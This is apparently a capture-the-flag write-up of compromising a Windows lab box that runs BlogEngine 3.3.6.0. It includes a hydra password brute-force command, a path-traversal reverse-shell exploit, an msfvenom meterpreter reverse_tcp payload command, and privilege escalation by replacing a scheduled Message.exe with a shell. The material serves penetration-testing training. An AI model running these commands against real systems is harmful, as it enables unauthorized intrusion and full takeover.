# 1. Enumeration

### Nmap scan

| PORT | STATE SERVICE | REASON | VERSION |
|---|---|---|---|
| 80/tcp | open | http | syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 3389/tcp open | ssl/ms-wbt-server? syn-ack ttl 127 | | |

### WEB

On the web server we can find a blog, with a post from an administrator. There is also a login page.

We can try tu guess creds. We know that there is an administrator account, let's try "admin" as the username and brute force the password with hydra

### Hydra

We can use burp to intercept a request to the login page to gather informations needed to run hydra.

```
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt 10.10.145.205 http-post-form "/Account/login.aspx:__VIEWSTATE=SR3f9hjYAEuCN%2BH5ZWIHOmMszwUeWfVjcyK5LB2CFjwjvapf6UPW6e%2BGOoJh5tp5a0c1kJdJQj1GDEySTQBkJe8EHzTo6K4D9CGLK4eoMZsDl1%2BHwjkexNWVTUI failed" -I
```

After sometimes, we get a valid password :

```
[80][http-post-form] host: 10.10.145.205 login: admin password: [REDACTED]
```

# 2. Getting access

Once connected to the admin page, we can find in the about section that the framework used is BlogEngine in version **3.3.6.0** When searching online about this version, we can find that there is an exploit :

https://www.exploit-db.com/exploits/46353 If we upload a PostView.ascx file containing a reverse shell using a fonctionnality present when editing a post. Then start a netcat listener. We can then start this reverse shell when accessing a modified theme at :

```
http://IP/?theme=../../App_Data/files
```

We now have an access on the remote server.

# 3. Privilege escalation using Metasploit

To have a more stable shell, we will upload to the target a meterpreter shell.

### Crafting our shell

```
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LPORT=4444 LHOST=IP -f exe > shell.exe
```

Then, uploading it using the same method described above. We can start the shell after setting a meterpreter listener.

The shell can be found at :

```
c:\inetpub\wwwroot\App_Data\files
```

You can launch the shell with :

```
start shell.exe
```

### The privesc

Using the winPEAS script for searching privesc vector we can find the following process:

WindowsScheduler(Splinterware Software Solutions - System Scheduler Service)[C:\PROGRA~2\SYSTEM~1\WService.exe] - Auto - Running File Permissions: Everyone [WriteData/CreateFiles] Possible DLL Hijacking in binary folder: C:\Program Files (x86)\SystemScheduler (Everyone [WriteData/CreateFiles]) System Scheduler Service Wrapper

Folder: C:\Program Files (x86)\SystemScheduler FolderPerms: Everyone [WriteData/CreateFiles] File: C:\PROGRA~2\SYSTEM~1\WScheduler.exe /LOGON FilePerms: Everyone [WriteData/CreateFiles]

In the folder C:\Program Files (x86)\SystemScheduler, we can find some log files like : 20198415519.INI_LOG.txt

```
08/04/19 15:06:01,Event Started Ok, (Administrator)
08/04/19 15:06:30,Process Ended. PID:2608,ExitCode:1,Message.exe (Administrator)
08/04/19 15:07:00,Event Started Ok, (Administrator)
08/04/19 15:07:34,Process Ended. PID:2680,ExitCode:4,Message.exe (Administrator)
08/04/19 15:08:00,Event Started Ok, (Administrator)
08/04/19 15:08:33,Process Ended. PID:2768,ExitCode:4,Message.exe (Administrator)
08/04/19 15:09:00,Event Started Ok, (Administrator)
```

We can see that at interval time, a program named "Message.exe" is runned and stopped, again and again by the administrator. If we have write access to Message.exe and if we manage to replace the original Message.exe by a custom Message.exe containing a shell, we may have an administrator shell. We can see that we have write permission : 100777/rwxrwxrwx 536992 fil 2018-03-25 19:58:56 +0200 Message.exe

Let's try to upload the same shell.exe as previous but renaming it to Message.exe

After 30 seconds, we get a shell.

The same method can be used without metasploit, using a regular shell.